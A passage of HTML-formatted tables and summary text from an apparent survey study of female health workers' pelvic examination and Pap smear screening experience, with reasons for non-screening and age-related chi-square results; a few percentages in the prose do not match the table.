style=\"font-size:10.0pt\">1,7</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">History of Cancer in Family and Cancer-Related Concerns</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,62</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Myoma</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,1</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Discharge, Itching, Bleeding</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28,1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Ovarian Cysts</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">46</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10</span></p>\r\n			</td>\r\n			<td style=\"width:129.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Diagnosis after Pap Smear Screening Test</span></strong></p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=185</span></strong></p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pregnancy</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">152</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33,1</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Normal Findings</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">127</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">68,6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Normal Findings</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">155</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33,8</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cervical Erosion</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Reproductive Infection</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">63</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13,7</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cervicitis</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.65pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Reason for Not Undergoing a Pelvic Examination</span></strong></p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=491</span></strong></p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Reproductive Infection</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Not to be in need</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">396</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">80,6</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">I don&rsquo;t know</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Avoidance </span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,6</span></p>\r\n			</td>\r\n			<td style=\"width:129.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Reasons for not Having Pap Smear Screening Test</span></strong></p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=765</span></strong></p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fear </span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,8</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Not to be in need</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">450</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">58,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Not to be under risk</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3,6</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Avoidance</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4,4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lack of Information</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,6</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fear </span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0,9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sexually Passive</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10,6</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Not to be under risk</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7,5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Advised People</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=216</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lack of Information </span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5,8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mother</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14,9</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sexually Passive</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">173</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22,6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Family Members</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9,7</span></p>\r\n			</td>\r\n			<td style=\"width:129.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Knowledge Transfer Status</span></strong></p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=950</span></strong></p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Relatives (Acquaintances)</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">46</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21,2</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Source of Information</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">216</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22,7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Spouse</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1,3</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:129.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Not a Source of Information</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">734</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">77,3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:white; width:129.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Public, Patient </span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:42.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">114</span></p>\r\n			</td>\r\n			<td style=\"background-color:white; width:23.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52,9</span></p>\r\n			</td>\r\n			<td style=\"width:129.05pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:42.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:23.6pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2: </strong>Distribution of FHW sbased on their Last Pelvic Examination or Pap Smear Screening Test Experience.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The distribution of FHWs based on their latest pelvic examination experience reveals that while 48.3% of FHWs underwent pelvic examination, 51.7% have never had a pelvic examination; among the examined FHWs 48.8% had the pelvic examination for pregnancy- and birth-related purposes and33.8% were diagnosed with normal findings; 80.6 % between the unexamined participants stated that they did not feel the need for pelvic examination and 10.6% were sexually passive as summarized in <span style=\"color:red\">Table 2</span>. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The distribution of FHWs based on their latest pap smear screening test indicates that 19.5% of FHWs had pap smear screening test, 80.5% have never had the test before; among the screened FHWs 36.8% had the test when requested by their doctor, 44.3% stated that they had been screened with the sole reason that such procedure had been requested by their doctor; 68.6% of the FHWs were diagnosed with normal findings while 19.5% were diagnosed with urinary tract infection, 58.5%between the unscreened FHWs stated that they did not feel the need for having Pap smear screening test and 22.6%were sexually passive as summarized in <span style=\"color:red\">Table 2.</span> In addition, 77.3 % of the participants declare that they do not advise people about cervical cancer; 22.7 % state that they instruct others on cervical cancer of which while 52.9 % inform public and patients, 21.2% inform relatives and acquaintances.</span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#083c64; width:77.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"5\" style=\"background-color:#083c64; width:180.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Pap Smear Screening Status</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"5\" style=\"background-color:#083c64; width:167.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Knowledge Transfer Status</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:#083c64; width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Demographic Characteristics</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#083c64; width:64.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Screened</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#083c64; width:64.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Unscreened</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Analysis Result</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#083c64; width:51.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Source of Information</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#083c64; width:64.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Not a Source of Information</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#083c64; width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Analysis Result</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Age</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">No</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">No</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">No</span></strong></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">No</span></strong></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19-24 years old</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2,7</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">190</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24,8</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">X</span><span style=\"font-size:10.0pt\"><span style=\"color:red\">&sup2;</span></span><span style=\"font-size:10.0pt\">=182,06</span></p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">60</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27,8</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">135</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18,4</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">X</span><span style=\"font-size:10.0pt\"><span style=\"color:red\">&sup2;</span></span><span style=\"font-size:10.0pt\">=15,36</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25-29 years old</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18,4</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">325</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22,5</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P=0,000</span></p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">78</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36,1</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">281</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38,3</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P=0,009</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30-34 years old</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">67</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36,2</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">184</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24,1</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">40</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18,5</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">211</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28,7</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35-39 years old</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">49</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26,5</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">46</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:25.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24</span></p>\r\n			</td>\r\n			<td style=\"width:25.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11,1</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">71</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9,7</span></p>\r\n			</td>\r\n			<td style=\"width:51.45pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">40-44 years old</span></p>\r\n			</td>\r\n			<td style=\"width:32.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22</span></p>\r\n			</td>\r\n			<td style=\"width:32.2pt\">\r\n			<p style=\"text-align:center\"><span 